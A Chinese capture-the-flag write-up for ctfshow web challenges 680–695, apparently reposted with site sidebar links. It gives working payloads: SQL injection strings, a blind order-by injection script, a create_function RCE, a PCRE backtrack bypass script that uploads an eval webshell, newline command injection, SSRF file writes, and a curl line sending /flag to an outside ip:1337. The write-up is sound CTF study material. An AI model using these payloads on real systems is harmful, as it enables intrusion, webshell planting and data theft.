当前位置:网站首页>ctfshow 大赛原题 680-695
ctfshow 大赛原题 680-695
2022-06-30 01:17:00 【Fnylad】
web 680web 681web 682web 683web 684web 685686 无参RCE的感觉687688689690691692693694695
web 680
一开始提示post code to run
payload:
code=phpinfo();
然后测试了一下很多函数被ban了 看phpinfo果然,发现open_dir目录也限制了
直接print_r(scandir(".")) 列出当前目录
再读取就完事了 highlight_file
web 681
burp抓包分析的时候 输入1' or 1=1#
返回的是 '1or1=1'
尝试 \转义
输入 '||1=1#\
等价于
''||1=1#\'
web 682
要求
if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
return alert(e)
}但是sha256反向解密不行
所以题目下面拆分了 var k=s.split("-")
第一部分
if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
return alert(e)
}
if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
return alert(e)
}爆破脚本
import hashlib
flag=" "
s="0123456789abcdef"
for i in s:
for j in s :
for k in s:
for l in s:
string=i+j+k+l
m=hashlib.sha256(string.encode("utf-8")).hexdigest()
if(m=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"):
print(m)
flag+=string
print(flag)
if(m=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"):
print(m)
flag+=string
print(flag)
得到八位ctfshow{592b9d77-}
if(parseInt(k[1][0])!==(c2n('a')-1)){
return alert(e)
}
if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
return alert(e)
}
if(k[2][1]!=='e'){
return alert(e)
}
if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){ 0x1ae =430
return alert(e)
}找到c2n函数 发现c2n('a')=10;
所以此时 ctfshow{592b9d77-9dda-4e30}
if(parseInt(k[3][0])!==(c2n('a')-1)){ 9
return alert(e)
}
if(parseInt(k[3][1])!==parseInt(k[3][3])){
return alert(e)
}
if(parseInt(k[3][3])*2+c2n('a')!==0x12){ (18-10)/2
return alert(e)
}
if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){ a
return alert(e)
}ctfshow{592b9d77-9dda-4e30-944a}
if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
return alert(e)
}
base32 解密ctfshow{592b9d77-9dda-4e30-944a-5e64f4499a52}
web 683
(int)("0xxxx")=0;
payload:?秀=0x4F1A01
web 684
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
create_function('$a,$b','return 111')
==>
function a($a, $b){
return 111;
}所以payload
?action=\create_function&arg=}system("cat /secret_you_never_know ");//web 685
具体原理在p神
根据回溯最大为100万次 超过则返回false 绕过
from io import BytesIO
import requests
url="http://31cb6c95-d013-462e-828d-b9d5b11e1942.challenge.ctf.show/"
files={
'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'b' * 1000000)
}
r=requests.post(url,files=files)
for i in range(0,10):
u=url+'data/{0}.php'.format(i)
r=requests.post(u,data={'1':'system("cat /secret_you_never_know");'})
if 'b' in r.text:
print(r.text)
羽师傅脚本
import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
u=url+'data/{0}.php'.format(i)
r=requests.post(u,data={'1':'system("cat /secret_you_never_know;echo yu22x");'})
if 'yu22x' in r.text:
print(r.text)
686 无参RCE的感觉
getallheaders是apache中的函数,这里是nginx环境, 所以用get_defined_vars()
方法一:
?code=eval(end(current(get_defined_vars())));&b=phpinfo();
方法二:列目录
正常 print_r(scandir)
print_r(scandir(current(localeconv())));
687
payload:
http://3696b171-ef1c-43bc-8d5f-e6fdb623c859.challenge.ctf.show/?ip=127%0acat /flaaag
688

大概第一个就是把输入的直接当字符串
第二个的处理我有点懵逼 ,不过如果没过滤 我们要 curl url -F [email protected]/flag
试着

再然后就后面加个点看看
payload :
?url=http://ip:1337/' -F [email protected]/flag '
689
考点是ssrf 我们传入的参数file必须以http://127.0.0.1/开头,path不能有.. 假设我们传入 ?file=http://127.0.0.1/&path=<?php phpinfo();?> 那么页面会显示如下内容

如果我们传入的file换成现在的url会发生什么?是不是把这个页面给写进去了 所以payload ?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php
690
691
order by 大小比较盲注


所以真正的字符是c
写脚本
import requests
url="http://deeb3ee4-3bad-42a3-9b5e-c26051eab4ca.challenge.ctf.show/"
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
k=""
for i in range(1,40):
for j in s:
l=k+j
data={
"username":"' or 1 union select 1,2,'{}' order by 3#".format(l),
"password":"12"
}
res=requests.post(url=url,data=data)
if "</code>admin" in res.text:
k=k+chr(ord(j)-1)
print(k)
break
692
相等于在传入的字符加上了单引号
;eval($_POST[1]);// => ';eval($_POST[1]);//' %00 =>'';eval($_POST[1]);//''
693
远程文件包含即可
694

最终形成的路径为
/var/www/html/a.php/.
695
koajs
https://github.com/koajs/koa-body/issues/75
漏洞点在 ctx.request.body.files
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。

边栏推荐
- 田口实验法
- 优秀的测试/开发程序员与普通的程序员对比......
- Application of pointer in STC89C52 single chip microcomputer and demonstration of practical cases
- Is the numpy index the same as the image index?
- [535. encryption and decryption of tinyurl]
- Cloud, IPv6 and all-optical network
- 2020-12-03
- 81. search rotation sort array II
- Analysis of natural frequency and buckling load of cylinder by finite element method
- 数字垃圾是什么?跟随世界第一位AI艺术家,探索元碳艺术
猜你喜欢

The listing of Symantec electronic sprint technology innovation board: it plans to raise 623million yuan, with a total of 64 patent applications

Crmeb SMS for program configuration of knowledge payment system

Common settings in idea
![[Thesis Writing] English thesis writing guide](/img/59/88d34814a88a2da19ed6a236825649.png)
[Thesis Writing] English thesis writing guide

How to unify the use of package manager in a project?

Outsourcing work for three years, waste a step confused

Solve the problem of repairing Visual Basic exceptions with excel/wps plug-in of choice financial terminal

数字垃圾是什么?跟随世界第一位AI艺术家,探索元碳艺术

Using tsne to visualize the similarity of different sentences

I, 33 years old, ByteDance test development, unveiled the real income of Beijing "test post"
随机推荐
After the element uses align items center and overflow auto, some contents are not fully displayed
Sfdp 超级表单开发平台 V6.0.4 正式发布
R language linear regression model fitting diagnosis outliers analysis of domestic gas consumption and calorie examples with self-test questions
[proteus simulation] 8-bit port detection 8 independent keys
阅读,是最廉价的高贵
Solve the problem of repairing Visual Basic exceptions with excel/wps plug-in of choice financial terminal
81. search rotation sort array II
What is digital garbage? Follow the world's first AI artist to explore meta carbon Art
Practical application of information security
How did the data center change from "Britney Spears" to "Mrs. bull"?
Seata 與三大平臺攜手編程之夏,百萬獎金等你來拿
[mrctf2020]ezpop-1 | PHP serialization
How to create a module in the idea and how to delete a module in the idea?
如何查看一个文件夹下所有文件的大小?
存储引擎分析
Sentinel source code analysis Part 7 - sentinel adapter module - Summary
MySQL installation steps (detailed)
Text classification using huggingface
Newton method (optimization of two variable functions)
Stimulus reports reporting tool, stimulus creates and builds reports